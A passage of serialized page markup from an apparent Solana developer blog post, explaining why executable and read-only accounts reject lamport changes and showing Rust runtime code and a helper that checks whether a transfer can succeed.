Err(InstructionError::ExternalAccountLamportSpend);\n }\n // The balance of read-only may not change\n if !self.is_writable() {\n return Err(InstructionError::ReadonlyLamportChange);\n }\n // The balance of executable accounts may not change\n if self.is_executable_internal() {\n return Err(InstructionError::ExecutableLamportChange);\n }\n // don't touch the account if the lamports do not change\n if self.get_lamports() == lamports {\n return Ok(());\n }\n self.touch()?;\n self.account.set_lamports(lamports);\n Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n !self\n .transaction_context\n .remove_accounts_executable_flag_checks\n && self.account.executable()\n}\n\n",[72680],{"type":26,"tag":53,"props":72681,"children":72682},{"__ignoreMap":7},[72683,72691,72712,72784,72792,72851,72883,72890,72898,72926,72958,72965,72973,72997,73029,73036,73044,73079,73095,73102,73130,73165,73176,73183,73190,73198,73217,73225,73265,73277,73289,73301,73332],{"type":26,"tag":475,"props":72684,"children":72685},{"class":477,"line":478},[72686],{"type":26,"tag":475,"props":72687,"children":72688},{"style":552},[72689],{"type":32,"value":72690},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":26,"tag":475,"props":72692,"children":72693},{"class":477,"line":516},[72694,72699,72703,72708],{"type":26,"tag":475,"props":72695,"children":72696},{"style":499},[72697],{"type":32,"value":72698},"#[cfg(not(target_os ",{"type":26,"tag":475,"props":72700,"children":72701},{"style":714},[72702],{"type":32,"value":786},{"type":26,"tag":475,"props":72704,"children":72705},{"style":629},[72706],{"type":32,"value":72707}," \"solana\"",{"type":26,"tag":475,"props":72709,"children":72710},{"style":499},[72711],{"type":32,"value":20316},{"type":26,"tag":475,"props":72713,"children":72714},{"class":477,"line":539},[72715,72719,72723,72728,72732,72736,72740,72744,72748,72752,72756,72760,72764,72768,72772,72776,72780],{"type":26,"tag":475,"props":72716,"children":72717},{"style":482},[72718],{"type":32,"value":13397},{"type":26,"tag":475,"props":72720,"children":72721},{"style":482},[72722],{"type":32,"value":13402},{"type":26,"tag":475,"props":72724,"children":72725},{"style":493},[72726],{"type":32,"value":72727}," set_lamports",{"type":26,"tag":475,"props":72729,"children":72730},{"style":499},[72731],{"type":32,"value":626},{"type":26,"tag":475,"props":72733,"children":72734},{"style":714},[72735],{"type":32,"value":2816},{"type":26,"tag":475,"props":72737,"children":72738},{"style":482},[72739],{"type":32,"value":3430},{"type":26,"tag":475,"props":72741,"children":72742},{"style":482},[72743],{"type":32,"value":13504},{"type":26,"tag":475,"props":72745,"children":72746},{"style":499},[72747],{"type":32,"value":637},{"type":26,"tag":475,"props":72749,"children":72750},{"style":2375},[72751],{"type":32,"value":15217},{"type":26,"tag":475,"props":72753,"children":72754},{"style":714},[72755],{"type":32,"value":179},{"type":26,"tag":475,"props":72757,"children":72758},{"style":505},[72759],{"type":32,"value":5573},{"type":26,"tag":475,"props":72761,"children":72762},{"style":499},[72763],{"type":32,"value":2794},{"type":26,"tag":475,"props":72765,"children":72766},{"style":714},[72767],{"type":32,"value":13464},{"type":26,"tag":475,"props":72769,"children":72770},{"style":505},[72771],{"type":32,"value":13469},{"type":26,"tag":475,"props":72773,"children":72774},{"style":499},[72775],{"type":32,"value":13474},{"type":26,"tag":475,"props":72777,"children":72778},{"style":505},[72779],{"type":32,"value":15463},{"type":26,"tag":475,"props":72781,"children":72782},{"style":499},[72783],{"type":32,"value":6994},{"type":26,"tag":475,"props":72785,"children":72786},{"class":477,"line":548},[72787],{"type":26,"tag":475,"props":72788,"children":72789},{"style":552},[72790],{"type":32,"value":72791}," // An account not owned by the program cannot have its balance decrease\n",{"type":26,"tag":475,"props":72793,"children":72794},{"class":477,"line":558},[72795,72799,72803,72807,72811,72816,72820,72825,72830,72834,72838,72842,72847],{"type":26,"tag":475,"props":72796,"children":72797},{"style":586},[72798],{"type":32,"value":11988},{"type":26,"tag":475,"props":72800,"children":72801},{"style":714},[72802],{"type":32,"value":12572},{"type":26,"tag":475,"props":72804,"children":72805},{"style":482},[72806],{"type":32,"value":13420},{"type":26,"tag":475,"props":72808,"children":72809},{"style":714},[72810],{"type":32,"value":353},{"type":26,"tag":475,"props":72812,"children":72813},{"style":493},[72814],{"type":32,"value":72815},"is_owned_by_current_program",{"type":26,"tag":475,"props":72817,"children":72818},{"style":499},[72819],{"type":32,"value":13750},{"type":26,"tag":475,"props":72821,"children":72822},{"style":714},[72823],{"type":32,"value":72824},"&&",{"type":26,"tag":475,"props":72826,"children":72827},{"style":2375},[72828],{"type":32,"value":72829}," lamports",{"type":26,"tag":475,"props":72831,"children":72832},{"style":714},[72833],{"type":32,"value":8430},{"type":26,"tag":475,"props":72835,"children":72836},{"style":482},[72837],{"type":32,"value":13504},{"type":26,"tag":475,"props":72839,"children":72840},{"style":714},[72841],{"type":32,"value":353},{"type":26,"tag":475,"props":72843,"children":72844},{"style":493},[72845],{"type":32,"value":72846},"get_lamports",{"type":26,"tag":475,"props":72848,"children":72849},{"style":499},[72850],{"type":32,"value":882},{"type":26,"tag":475,"props":72852,"children":72853},{"class":477,"line":582},[72854,72858,72862,72866,72870,72874,72879],{"type":26,"tag":475,"props":72855,"children":72856},{"style":586},[72857],{"type":32,"value":15449},{"type":26,"tag":475,"props":72859,"children":72860},{"style":505},[72861],{"type":32,"value":15454},{"type":26,"tag":475,"props":72863,"children":72864},{"style":499},[72865],{"type":32,"value":626},{"type":26,"tag":475,"props":72867,"children":72868},{"style":505},[72869],{"type":32,"value":15463},{"type":26,"tag":475,"props":72871,"children":72872},{"style":714},[72873],{"type":32,"value":3187},{"type":26,"tag":475,"props":72875,"children":72876},{"style":505},[72877],{"type":32,"value":72878},"ExternalAccountLamportSpend",{"type":26,"tag":475,"props":72880,"children":72881},{"style":499},[72882],{"type":32,"value":3533},{"type":26,"tag":475,"props":72884,"children":72885},{"class":477,"line":596},[72886],{"type":26,"tag":475,"props":72887,"children":72888},{"style":499},[72889],{"type":32,"value":851},{"type":26,"tag":475,"props":72891,"children":72892},{"class":477,"line":610},[72893],{"type":26,"tag":475,"props":72894,"children":72895},{"style":552},[72896],{"type":32,"value":72897}," // The balance of read-only may not change\n",{"type":26,"tag":475,"props":72899,"children":72900},{"class":477,"line":650},[72901,72905,72909,72913,72917,72922],{"type":26,"tag":475,"props":72902,"children":72903},{"style":586},[72904],{"type":32,"value":11988},{"type":26,"tag":475,"props":72906,"children":72907},{"style":714},[72908],{"type":32,"value":12572},{"type":26,"tag":475,"props":72910,"children":72911},{"style":482},[72912],{"type":32,"value":13420},{"type":26,"tag":475,"props":72914,"children":72915},{"style":714},[72916],{"type":32,"value":353},{"type":26,"tag":475,"props":72918,"children":72919},{"style":493},[72920],{"type":32,"value":72921},"is_writable",{"type":26,"tag":475,"props":72923,"children":72924},{"style":499},[72925],{"type":32,"value":882},{"type":26,"tag":475,"props":72927,"children":72928},{"class":477,"line":679},[72929,72933,72937,72941,72945,72949,72954],{"type":26,"tag":475,"props":72930,"children":72931},{"style":586},[72932],{"type":32,"value":15449},{"type":26,"tag":475,"props":72934,"children":72935},{"style":505},[72936],{"type":32,"value":15454},{"type":26,"tag":475,"props":72938,"children":72939},{"style":499},[72940],{"type":32,"value":626},{"type":26,"tag":475,"props":72942,"children":72943},{"style":505},[72944],{"type":32,"value":15463},{"type":26,"tag":475,"props":72946,"children":72947},{"style":714},[72948],{"type":32,"value":3187},{"type":26,"tag":475,"props":72950,"children":72951},{"style":505},[72952],{"type":32,"value":72953},"ReadonlyLamportChange",{"type":26,"tag":475,"props":72955,"children":72956},{"style":499},[72957],{"type":32,"value":3533},{"type":26,"tag":475,"props":72959,"children":72960},{"class":477,"line":735},[72961],{"type":26,"tag":475,"props":72962,"children":72963},{"style":499},[72964],{"type":32,"value":851},{"type":26,"tag":475,"props":72966,"children":72967},{"class":477,"line":744},[72968],{"type":26,"tag":475,"props":72969,"children":72970},{"style":552},[72971],{"type":32,"value":72972}," // The balance of executable accounts may not change\n",{"type":26,"tag":475,"props":72974,"children":72975},{"class":477,"line":753},[72976,72980,72984,72988,72993],{"type":26,"tag":475,"props":72977,"children":72978},{"style":586},[72979],{"type":32,"value":11988},{"type":26,"tag":475,"props":72981,"children":72982},{"style":482},[72983],{"type":32,"value":13504},{"type":26,"tag":475,"props":72985,"children":72986},{"style":714},[72987],{"type":32,"value":353},{"type":26,"tag":475,"props":72989,"children":72990},{"style":493},[72991],{"type":32,"value":72992},"is_executable_internal",{"type":26,"tag":475,"props":72994,"children":72995},{"style":499},[72996],{"type":32,"value":882},{"type":26,"tag":475,"props":72998,"children":72999},{"class":477,"line":761},[73000,73004,73008,73012,73016,73020,73025],{"type":26,"tag":475,"props":73001,"children":73002},{"style":586},[73003],{"type":32,"value":15449},{"type":26,"tag":475,"props":73005,"children":73006},{"style":505},[73007],{"type":32,"value":15454},{"type":26,"tag":475,"props":73009,"children":73010},{"style":499},[73011],{"type":32,"value":626},{"type":26,"tag":475,"props":73013,"children":73014},{"style":505},[73015],{"type":32,"value":15463},{"type":26,"tag":475,"props":73017,"children":73018},{"style":714},[73019],{"type":32,"value":3187},{"type":26,"tag":475,"props":73021,"children":73022},{"style":505},[73023],{"type":32,"value":73024},"ExecutableLamportChange",{"type":26,"tag":475,"props":73026,"children":73027},{"style":499},[73028],{"type":32,"value":3533},{"type":26,"tag":475,"props":73030,"children":73031},{"class":477,"line":770},[73032],{"type":26,"tag":475,"props":73033,"children":73034},{"style":499},[73035],{"type":32,"value":851},{"type":26,"tag":475,"props":73037,"children":73038},{"class":477,"line":794},[73039],{"type":26,"tag":475,"props":73040,"children":73041},{"style":552},[73042],{"type":32,"value":73043}," // don't touch the account if the lamports do not change\n",{"type":26,"tag":475,"props":73045,"children":73046},{"class":477,"line":831},[73047,73051,73055,73059,73063,73067,73071,73075],{"type":26,"tag":475,"props":73048,"children":73049},{"style":586},[73050],{"type":32,"value":11988},{"type":26,"tag":475,"props":73052,"children":73053},{"style":482},[73054],{"type":32,"value":13504},{"type":26,"tag":475,"props":73056,"children":73057},{"style":714},[73058],{"type":32,"value":353},{"type":26,"tag":475,"props":73060,"children":73061},{"style":493},[73062],{"type":32,"value":72846},{"type":26,"tag":475,"props":73064,"children":73065},{"style":499},[73066],{"type":32,"value":13750},{"type":26,"tag":475,"props":73068,"children":73069},{"style":714},[73070],{"type":32,"value":8287},{"type":26,"tag":475,"props":73072,"children":73073},{"style":2375},[73074],{"type":32,"value":72829},{"type":26,"tag":475,"props":73076,"children":73077},{"style":499},[73078],{"type":32,"value":579},{"type":26,"tag":475,"props":73080,"children":73081},{"class":477,"line":845},[73082,73086,73090],{"type":26,"tag":475,"props":73083,"children":73084},{"style":586},[73085],{"type":32,"value":15449},{"type":26,"tag":475,"props":73087,"children":73088},{"style":505},[73089],{"type":32,"value":42626},{"type":26,"tag":475,"props":73091,"children":73092},{"style":499},[73093],{"type":32,"value":73094},"(());\n",{"type":26,"tag":475,"props":73096,"children":73097},{"class":477,"line":854},[73098],{"type":26,"tag":475,"props":73099,"children":73100},{"style":499},[73101],{"type":32,"value":851},{"type":26,"tag":475,"props":73103,"children":73104},{"class":477,"line":862},[73105,73109,73113,73118,73122,73126],{"type":26,"tag":475,"props":73106,"children":73107},{"style":482},[73108],{"type":32,"value":20494},{"type":26,"tag":475,"props":73110,"children":73111},{"style":714},[73112],{"type":32,"value":353},{"type":26,"tag":475,"props":73114,"children":73115},{"style":493},[73116],{"type":32,"value":73117},"touch",{"type":26,"tag":475,"props":73119,"children":73120},{"style":499},[73121],{"type":32,"value":13586},{"type":26,"tag":475,"props":73123,"children":73124},{"style":714},[73125],{"type":32,"value":2863},{"type":26,"tag":475,"props":73127,"children":73128},{"style":499},[73129],{"type":32,"value":2729},{"type":26,"tag":475,"props":73131,"children":73132},{"class":477,"line":885},[73133,73137,73141,73145,73149,73153,73157,73161],{"type":26,"tag":475,"props":73134,"children":73135},{"style":482},[73136],{"type":32,"value":20494},{"type":26,"tag":475,"props":73138,"children":73139},{"style":714},[73140],{"type":32,"value":353},{"type":26,"tag":475,"props":73142,"children":73143},{"style":499},[73144],{"type":32,"value":12661},{"type":26,"tag":475,"props":73146,"children":73147},{"style":714},[73148],{"type":32,"value":353},{"type":26,"tag":475,"props":73150,"children":73151},{"style":493},[73152],{"type":32,"value":72660},{"type":26,"tag":475,"props":73154,"children":73155},{"style":499},[73156],{"type":32,"value":626},{"type":26,"tag":475,"props":73158,"children":73159},{"style":2375},[73160],{"type":32,"value":15217},{"type":26,"tag":475,"props":73162,"children":73163},{"style":499},[73164],{"type":32,"value":3533},{"type":26,"tag":475,"props":73166,"children":73167},{"class":477,"line":913},[73168,73172],{"type":26,"tag":475,"props":73169,"children":73170},{"style":505},[73171],{"type":32,"value":14040},{"type":26,"tag":475,"props":73173,"children":73174},{"style":499},[73175],{"type":32,"value":14045},{"type":26,"tag":475,"props":73177,"children":73178},{"class":477,"line":926},[73179],{"type":26,"tag":475,"props":73180,"children":73181},{"style":499},[73182],{"type":32,"value":3607},{"type":26,"tag":475,"props":73184,"children":73185},{"class":477,"line":948},[73186],{"type":26,"tag":475,"props":73187,"children":73188},{"emptyLinePlaceholder":18},[73189],{"type":32,"value":545},{"type":26,"tag":475,"props":73191,"children":73192},{"class":477,"line":966},[73193],{"type":26,"tag":475,"props":73194,"children":73195},{"style":552},[73196],{"type":32,"value":73197},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":26,"tag":475,"props":73199,"children":73200},{"class":477,"line":979},[73201,73205,73209,73213],{"type":26,"tag":475,"props":73202,"children":73203},{"style":499},[73204],{"type":32,"value":72698},{"type":26,"tag":475,"props":73206,"children":73207},{"style":714},[73208],{"type":32,"value":786},{"type":26,"tag":475,"props":73210,"children":73211},{"style":629},[73212],{"type":32,"value":72707},{"type":26,"tag":475,"props":73214,"children":73215},{"style":499},[73216],{"type":32,"value":20316},{"type":26,"tag":475,"props":73218,"children":73219},{"class":477,"line":1006},[73220],{"type":26,"tag":475,"props":73221,"children":73222},{"style":499},[73223],{"type":32,"value":73224},"#[inline]\n",{"type":26,"tag":475,"props":73226,"children":73227},{"class":477,"line":1046},[73228,73232,73237,73241,73245,73249,73253,73257,73261],{"type":26,"tag":475,"props":73229,"children":73230},{"style":482},[73231],{"type":32,"value":19974},{"type":26,"tag":475,"props":73233,"children":73234},{"style":493},[73235],{"type":32,"value":73236}," is_executable_internal",{"type":26,"tag":475,"props":73238,"children":73239},{"style":499},[73240],{"type":32,"value":626},{"type":26,"tag":475,"props":73242,"children":73243},{"style":714},[73244],{"type":32,"value":2816},{"type":26,"tag":475,"props":73246,"children":73247},{"style":482},[73248],{"type":32,"value":13420},{"type":26,"tag":475,"props":73250,"children":73251},{"style":499},[73252],{"type":32,"value":2794},{"type":26,"tag":475,"props":73254,"children":73255},{"style":714},[73256],{"type":32,"value":13464},{"type":26,"tag":475,"props":73258,"children":73259},{"style":505},[73260],{"type":32,"value":11759},{"type":26,"tag":475,"props":73262,"children":73263},{"style":499},[73264],{"type":32,"value":579},{"type":26,"tag":475,"props":73266,"children":73267},{"class":477,"line":1068},[73268,73272],{"type":26,"tag":475,"props":73269,"children":73270},{"style":714},[73271],{"type":32,"value":20678},{"type":26,"tag":475,"props":73273,"children":73274},{"style":482},[73275],{"type":32,"value":73276},"self\n",{"type":26,"tag":475,"props":73278,"children":73279},{"class":477,"line":1077},[73280,73284],{"type":26,"tag":475,"props":73281,"children":73282},{"style":714},[73283],{"type":32,"value":67953},{"type":26,"tag":475,"props":73285,"children":73286},{"style":499},[73287],{"type":32,"value":73288},"transaction_context\n",{"type":26,"tag":475,"props":73290,"children":73291},{"class":477,"line":1090},[73292,73296],{"type":26,"tag":475,"props":73293,"children":73294},{"style":714},[73295],{"type":32,"value":67953},{"type":26,"tag":475,"props":73297,"children":73298},{"style":499},[73299],{"type":32,"value":73300},"remove_accounts_executable_flag_checks\n",{"type":26,"tag":475,"props":73302,"children":73303},{"class":477,"line":1119},[73304,73308,73312,73316,73320,73324,73328],{"type":26,"tag":475,"props":73305,"children":73306},{"style":714},[73307],{"type":32,"value":42490},{"type":26,"tag":475,"props":73309,"children":73310},{"style":482},[73311],{"type":32,"value":13504},{"type":26,"tag":475,"props":73313,"children":73314},{"style":714},[73315],{"type":32,"value":353},{"type":26,"tag":475,"props":73317,"children":73318},{"style":499},[73319],{"type":32,"value":12661},{"type":26,"tag":475,"props":73321,"children":73322},{"style":714},[73323],{"type":32,"value":353},{"type":26,"tag":475,"props":73325,"children":73326},{"style":493},[73327],{"type":32,"value":15361},{"type":26,"tag":475,"props":73329,"children":73330},{"style":499},[73331],{"type":32,"value":607},{"type":26,"tag":475,"props":73333,"children":73334},{"class":477,"line":1132},[73335],{"type":26,"tag":475,"props":73336,"children":73337},{"style":499},[73338],{"type":32,"value":3607},{"type":26,"tag":35,"props":73340,"children":73341},{},[73342],{"type":32,"value":73343},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":26,"tag":35,"props":73345,"children":73346},{},[73347,73349,73354],{"type":32,"value":73348},"Specifically, ",{"type":26,"tag":105,"props":73350,"children":73351},{},[73352],{"type":32,"value":73353},"executable accounts",{"type":32,"value":73355}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":26,"tag":70,"props":73357,"children":73359},{"id":73358},"sidebar-whats-the-executable-flag-anyway",[73360],{"type":32,"value":73361},"Sidebar: What's the executable Flag Anyway?",{"type":26,"tag":35,"props":73363,"children":73364},{},[73365,73366,73371],{"type":32,"value":16319},{"type":26,"tag":53,"props":73367,"children":73369},{"className":73368},[],[73370],{"type":32,"value":15361},{"type":32,"value":73372}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":26,"tag":35,"props":73374,"children":73375},{},[73376,73378,73383],{"type":32,"value":73377},"This behavior became problematic with the introduction of the ",{"type":26,"tag":105,"props":73379,"children":73380},{},[73381],{"type":32,"value":73382},"Upgradeable BPF Loader",{"type":32,"value":73384},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":26,"tag":465,"props":73386,"children":73388},{"className":2685,"code":73387,"language":2684,"meta":7,"style":7},"Program {\n /// Address of the ProgramData account.\n programdata_address: Pubkey,\n},\nProgramData {\n /// Slot that the program was last modified.\n slot: u64,\n /// Address of the Program's upgrade authority.\n upgrade_authority_address: Option\u003CPubkey>,\n // The raw program data follows this serialized structure in the\n // account's data.\n},\n",[73389],{"type":26,"tag":53,"props":73390,"children":73391},{"__ignoreMap":7},[73392,73404,73412,73432,73440,73452,73460,73480,73488,73516,73524,73532],{"type":26,"tag":475,"props":73393,"children":73394},{"class":477,"line":478},[73395,73400],{"type":26,"tag":475,"props":73396,"children":73397},{"style":505},[73398],{"type":32,"value":73399},"Program",{"type":26,"tag":475,"props":73401,"children":73402},{"style":499},[73403],{"type":32,"value":579},{"type":26,"tag":475,"props":73405,"children":73406},{"class":477,"line":516},[73407],{"type":26,"tag":475,"props":73408,"children":73409},{"style":552},[73410],{"type":32,"value":73411}," /// Address of the ProgramData account.\n",{"type":26,"tag":475,"props":73413,"children":73414},{"class":477,"line":539},[73415,73420,73424,73428],{"type":26,"tag":475,"props":73416,"children":73417},{"style":2375},[73418],{"type":32,"value":73419}," programdata_address",{"type":26,"tag":475,"props":73421,"children":73422},{"style":714},[73423],{"type":32,"value":179},{"type":26,"tag":475,"props":73425,"children":73426},{"style":505},[73427],{"type":32,"value":20565},{"type":26,"tag":475,"props":73429,"children":73430},{"style":499},[73431],{"type":32,"value":2425},{"type":26,"tag":475,"props":73433,"children":73434},{"class":477,"line":548},[73435],{"type":26,"tag":475,"props":73436,"children":73437},{"style":499},[73438],{"type":32,"value":73439},"},\n",{"type":26,"tag":475,"props":73441,"children":73442},{"class":477,"line":558},[73443,73448],{"type":26,"tag":475,"props":73444,"children":73445},{"style":505},[73446],{"type":32,"value":73447},"ProgramData",{"type":26,"tag":475,"props":73449,"children":73450},{"style":499},[73451],{"type":32,"value":579},{"type":26,"tag":475,"props":73453,"children":73454},{"class":477,"line":582},[73455],{"type":26,"tag":475,"props":73456,"children":73457},{"style":552},[73458],{"type":32,"value":73459}," /// Slot that the program was last modified.\n",{"type":26,"tag":475,"props":73461,"children":73462},{"class":477,"line":596},[73463,73468,73472,73476],{"type":26,"tag":475,"props":73464,"children":73465},{"style":2375},[73466],{"type":32,"value":73467}," slot",{"type":26,"tag":475,"props":73469,"children":73470},{"style":714},[73471],{"type":32,"value":179},{"type":26,"tag":475,"props":73473,"children":73474},{"style":505},[73475],{"type":32,"value":5573},{"type":26,"tag":475,"props":73477,"children":73478},{"style":499},[73479],{"type":32,"value":2425},{"type":26,"tag":475,"props":73481,"children":73482},{"class":477,"line":610},[73483],{"type":26,"tag":475,"props":73484,"children":73485},{"style":552},[73486],{"type":32,"value":73487}," /// Address of the Program's upgrade authority.\n",{"type":26,"tag":475,"props":73489,"children":73490},{"class":477,"line":650},[73491,73496,73500,73504,73508,73512],{"type":26,"tag":475,"props":73492,"children":73493},{"style":2375},[73494],{"type":32,"value":73495}," upgrade_authority_address",{"type":26,"tag":475,"props":73497,"children":73498},{"style":714},[73499],{"type":32,"value":179},{"type":26,"tag":475,"props":73501,"children":73502},{"style":505},[73503],{"type":32,"value":27347},{"type":26,"tag":475,"props":73505,"children":73506},{"style":499},[73507],{"type":32,"value":5519},{"type":26,"tag":475,"props":73509,"children":73510},{"style":505},[73511],{"type":32,"value":21106},{"type":26,"tag":475,"props":73513,"children":73514},{"style":499},[73515],{"type":32,"value":5852},{"type":26,"tag":475,"props":73517,"children":73518},{"class":477,"line":679},[73519],{"type":26,"tag":475,"props":73520,"children":73521},{"style":552},[73522],{"type":32,"value":73523}," // The raw program data follows this serialized structure in the\n",{"type":26,"tag":475,"props":73525,"children":73526},{"class":477,"line":735},[73527],{"type":26,"tag":475,"props":73528,"children":73529},{"style":552},[73530],{"type":32,"value":73531}," // account's data.\n",{"type":26,"tag":475,"props":73533,"children":73534},{"class":477,"line":744},[73535],{"type":26,"tag":475,"props":73536,"children":73537},{"style":499},[73538],{"type":32,"value":73439},{"type":26,"tag":35,"props":73540,"children":73541},{},[73542,73544,73551],{"type":32,"value":73543},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":26,"tag":116,"props":73545,"children":73548},{"href":73546,"rel":73547},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[120],[73549],{"type":32,"value":73550},"SIMD-0162",{"type":32,"value":73552},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":26,"tag":35,"props":73554,"children":73555},{},[73556,73558,73563,73565,73570],{"type":32,"value":73557},"This change is also a ",{"type":26,"tag":105,"props":73559,"children":73560},{},[73561],{"type":32,"value":73562},"hard requirement for supporting the new loader-v4",{"type":32,"value":73564},". Unlike the upgradable loader, which relies on a separate ",{"type":26,"tag":53,"props":73566,"children":73568},{"className":73567},[],[73569],{"type":32,"value":73447},{"type":32,"value":73571}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":26,"tag":35,"props":73573,"children":73574},{},[73575,73577,73584,73586,73591],{"type":32,"value":73576},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":26,"tag":116,"props":73578,"children":73581},{"href":73579,"rel":73580},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[120],[73582],{"type":32,"value":73583},"migrate",{"type":32,"value":73585}," from the upgradable loader to loader-v4 — without hitting the ",{"type":26,"tag":53,"props":73587,"children":73589},{"className":73588},[],[73590],{"type":32,"value":73024},{"type":32,"value":73592}," restriction.",{"type":26,"tag":70,"props":73594,"children":73596},{"id":73595},"fix-2-reject-program-accounts",[73597],{"type":32,"value":73598},"Fix 2: Reject Program Accounts",{"type":26,"tag":35,"props":73600,"children":73601},{},[73602],{"type":32,"value":73603},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":26,"tag":465,"props":73605,"children":73607},{"className":2685,"code":73606,"language":2684,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n && rent.is_exempt(balance_after, account.data_len())\n && !is_program(account))\n}\n",[73608],{"type":26,"tag":53,"props":73609,"children":73610},{"__ignoreMap":7},[73611,73687,73735,73751,73758,73797,73841,73865,73914,73942],{"type":26,"tag":475,"props":73612,"children":73613},{"class":477,"line":478},[73614,73618,73622,73627,73631,73635,73639,73643,73647,73651,73655,73659,73663,73667,73671,73675,73679,73683],{"type":26,"tag":475,"props":73615,"children":73616},{"style":482},[73617],{"type":32,"value":13397},{"type":26,"tag":475,"props":73619,"children":73620},{"style":482},[73621],{"type":32,"value":13402},{"type":26,"tag":475,"props":73623,"children":73624},{"style":493},[73625],{"type":32,"value":73626}," can_transfer_lamports",{"type":26,"tag":475,"props":73628,"children":73629},{"style":499},[73630],{"type":32,"value":626},{"type":26,"tag":475,"props":73632,"children":73633},{"style":2375},[73634],{"type":32,"value":12661},{"type":26,"tag":475,"props":73636,"children":73637},{"style":714},[73638],{"type":32,"value":179},{"type":26,"tag":475,"props":73640,"children":73641},{"style":714},[73642],{"type":32,"value":6854},{"type":26,"tag":475,"props":73644,"children":73645},{"style":505},[73646],{"type":32,"value":14644},{"type":26,"tag":475,"props":73648,"children":73649},{"style":499},[73650],{"type":32,"value":637},{"type":26,"tag":475,"props":73652,"children":73653},{"style":2375},[73654],{"type":32,"value":15217},{"type":26,"tag":475,"props":73656,"children":73657},{"style":714},[73658],{"type":32,"value":179},{"type":26,"tag":475,"props":73660,"children":73661},{"style":505},[73662],{"type":32,"value":5573},{"type":26,"tag":475,"props":73664,"children":73665},{"style":499},[73666],{"type":32,"value":2794},{"type":26,"tag":475,"props":73668,"children":73669},{"style":714},[73670],{"type":32,"value":13464},{"type":26,"tag":475,"props":73672,"children":73673},{"style":505},[73674],{"type":32,"value":13469},{"type":26,"tag":475,"props":73676,"children":73677},{"style":499},[73678],{"type":32,"value":5519},{"type":26,"tag":475,"props":73680,"children":73681},{"style":505},[73682],{"type":32,"value":29388},{"type":26,"tag":475,"props":73684,"children":73685},{"style":499},[73686],{"type":32,"value":6994},{"type":26,"tag":475,"props":73688,"children":73689},{"class":477,"line":516},[73690,73694,73699,73703,73707,73711,73715,73719,73723,73727,73731],{"type":26,"tag":475,"props":73691,"children":73692},{"style":482},[73693],{"type":32,"value":19974},{"type":26,"tag":475,"props":73695,"children":73696},{"style":493},[73697],{"type":32,"value":73698}," is_program",{"type":26,"tag":475,"props":73700,"children":73701},{"style":499},[73702],{"type":32,"value":626},{"type":26,"tag":475,"props":73704,"children":73705},{"style":2375},[73706],{"type":32,"value":12661},{"type":26,"tag":475,"props":73708,"children":73709},{"style":714},[73710],{"type":32,"value":179},{"type":26,"tag":475,"props":73712,"children":73713},{"style":714},[73714],{"type":32,"value":6854},{"type":26,"tag":475,"props":73716,"children":73717},{"style":505},[73718],{"type":32,"value":14644},{"type":26,"tag":475,"props":73720,"children":73721},{"style":499},[73722],{"type":32,"value":2794},{"type":26,"tag":475,"props":73724,"children":73725},{"style":714},[73726],{"type":32,"value":13464},{"type":26,"tag":475,"props":73728,"children":73729},{"style":505},[73730],{"type":32,"value":11759},{"type":26,"tag":475,"props":73732,"children":73733},{"style":499},[73734],{"type":32,"value":579},{"type":26,"tag":475,"props":73736,"children":73737},{"class":477,"line":539},[73738,73742,73746],{"type":26,"tag":475,"props":73739,"children":73740},{"style":2375},[73741],{"type":32,"value":24872},{"type":26,"tag":475,"props":73743,"children":73744},{"style":714},[73745],{"type":32,"value":353},{"type":26,"tag":475,"props":73747,"children":73748},{"style":499},[73749],{"type":32,"value":73750},"executable\n",{"type":26,"tag":475,"props":73752,"children":73753},{"class":477,"line":548},[73754],{"type":26,"tag":475,"props":73755,"children":73756},{"style":499},[73757],{"type":32,"value":3607},{"type":26,"tag":475,"props":73759,"children":73760},{"class":477,"line":558},[73761,73765,73769,73773,73777,73781,73785,73789,73793],{"type":26,"tag":475,"props":73762,"children":73763},{"style":482},[73764],{"type":32,"value":11496},{"type":26,"tag":475,"props":73766,"children":73767},{"style":2375},[73768],{"type":32,"value":72518},{"type":26,"tag":475,"props":73770,"children":73771},{"style":714},[73772],{"type":32,"value":2383},{"type":26,"tag":475,"props":73774,"children":73775},{"style":505},[73776],{"type":32,"value":43161},{"type":26,"tag":475,"props":73778,"children":73779},{"style":714},[73780],{"type":32,"value":3187},{"type":26,"tag":475,"props":73782,"children":73783},{"style":493},[73784],{"type":32,"value":16057},{"type":26,"tag":475,"props":73786,"children":73787},{"style":499},[73788],{"type":32,"value":13586},{"type":26,"tag":475,"props":73790,"children":73791},{"style":714},[73792],{"type":32,"value":2863},{"type":26,"tag":475,"props":73794,"children":73795},{"style":499},[73796],{"type":32,"value":2729},{"type":26,"tag":475,"props":73798,"children":73799},{"class":477,"line":582},[73800,73804,73809,73813,73817,73821,73825,73829,73833,73837],{"type":26,"tag":475,"props":73801,"children":73802},{"style":482},[73803],{"type":32,"value":11496},{"type":26,"tag":475,"props":73805,"children":73806},{"style":2375},[73807],{"type":32,"value":73808}," 